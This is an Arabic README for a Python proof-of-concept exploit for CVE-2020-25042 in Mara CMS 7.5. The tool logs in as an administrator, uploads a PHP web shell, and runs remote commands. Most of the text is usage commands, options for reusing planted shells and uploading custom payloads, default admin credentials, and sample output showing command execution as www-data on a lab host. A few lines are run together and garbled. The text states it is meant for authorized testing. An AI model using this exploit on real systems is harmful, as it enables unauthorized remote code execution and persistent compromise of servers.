
PoC لثغرة CVE-2020-25042: أتمتة رفع PHP مُصادَق عليه في Mara CMS 7.5 للوصول إلى RCE، مع معالجة هاش تسجيل الدخول، وإعادة استخدام الصدفة، ودعم الحمولات المخصصة، ومخرجات CLI نظيفة.
إثبات مفهوم لـ CVE-2020-25042، وهي مشكلة رفع ملفات اعتباطية تتطلب مصادقة في Mara CMS 7.5 يمكن أن تؤدي إلى تنفيذ تعليمات برمجية عن بُعد.
يقوم السكربت بتسجيل الدخول باستخدام حساب مسؤول/مدير صالح في Mara CMS، ويرفع حمولة PHP عبر codebase/handler.php، وينفّذ الأوامر من خلال الملف المرفوع.
كما يعيد استخدام قشرة (shell) موجودة مسبقًا عندما يكون ذلك ممكنًا، بحيث لا تنشئ ملف PHP جديدًا في كل تشغيل.
shash.setsalt.codebase/dir.php?type=filenew.codebase/handler.php.--cmd من خلال القشرة المرفوعة.Python 3.8+
pip install -r requirements.txt
حزم Python المطلوبة:
requests
urllib3
القيم الموضوعة بين أقواس زاوية هي عناصر نائبة. استبدلها بقيمك الخاصة ولا تُدرج حرفي < أو >.
python3 cve_2020_25042.py \
--url <MARA_CMS_URL> \
--username <USERNAME> \
--password '<PASSWORD>' \
--cmd whoami
<MARA_CMS_URL> # Target Mara CMS base URL. Example: http://target/cms
<USERNAME> # Valid Mara CMS admin/manager username.
<PASSWORD> # Valid Mara CMS admin/manager password.
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--username admin \
--password changeme \
--cmd whoami
مثال على المخرجات:
[2026-05-17T23:32:31Z] [*] Checking existing shell: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:31Z] [*] Loading Mara CMS page and collecting session data
[2026-05-17T23:32:31Z] [+] Found shash: 9552
[2026-05-17T23:32:31Z] [*] Requesting login salt
[2026-05-17T23:32:31Z] [+] Got salt: 4253
[2026-05-17T23:32:31Z] [*] Logging in as admin
[2026-05-17T23:32:31Z] [+] Login successful: OK:5
[2026-05-17T23:32:31Z] [*] Opening upload form
[2026-05-17T23:32:32Z] [*] Uploading PHP payload as mara-poc.php
[2026-05-17T23:32:32Z] [+] Upload request completed
[2026-05-17T23:32:32Z] [+] Shell URL: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:32Z] [*] Executing command: whoami
[+] Command output
MARA_CVE_2020_25042_OK
www-data
افتراضيًا، يستخدم السكربت اسم قشرة ثابتًا:
mara-poc.php
في التشغيل التالي، يتحقق من:
http://target/cms/img/mara-poc.php
إذا استجابت القشرة بالعلامة المتوقعة، يتخطى السكربت تسجيل الدخول والرفع:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--cmd "ls -la"
لإعادة استخدام قشرة أُنشئت سابقًا باسم عشوائي:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--shell-name mara-poc-jxfizldy.php \
--cmd whoami
يمكنك أيضًا تمرير مسار القشرة المكشوف مباشرة:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--shell-url-path /cms/img/mara-poc-jxfizldy.php \
--cmd "ls -la"
ارفع الحمولة دون تنفيذ أمر:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--username admin \
--password changeme \
--upload-only
--page <PAGE>
Existing CMS page used to bootstrap login and extract shash. Default: lorem.php
--shell-name <NAME>
PHP filename to upload or reuse. Default: mara-poc.php
--shell-url-path <PATH_OR_URL>
Explicit shell path or URL to reuse.
Example: /cms/img/mara-poc.php
--payload-file <FILE>
Upload a custom PHP payload instead of the default ?cmd= shell.
--destdir <DIR>
Raw destdir value sent in the upload form. Default leaves Mara CMS using img/.
--force-upload
Always login and upload, even if a reusable shell already exists.
--upload-only
Upload the payload but do not execute --cmd.
--only-final
Hide progress logs and print only command output.
--no-color
Disable ANSI colors.
--debug
Print request URLs and short handler response snippets.
admin:changeme في التثبيتات الاختبارية غير المعدّلة.MARA_CVE_2020_25042_OK قبل مخرجات الأمر.img/.--force-upload فقط عندما تحتاج إلى استبدال الحمولة أو إعادة إنشائها.إثبات المفهوم هذا مخصص لـ اختبار الأمان المصرّح به، وبيئات المختبرات، والتحقق من الثغرات. لا تستخدمه ضد أنظمة دون إذن صريح.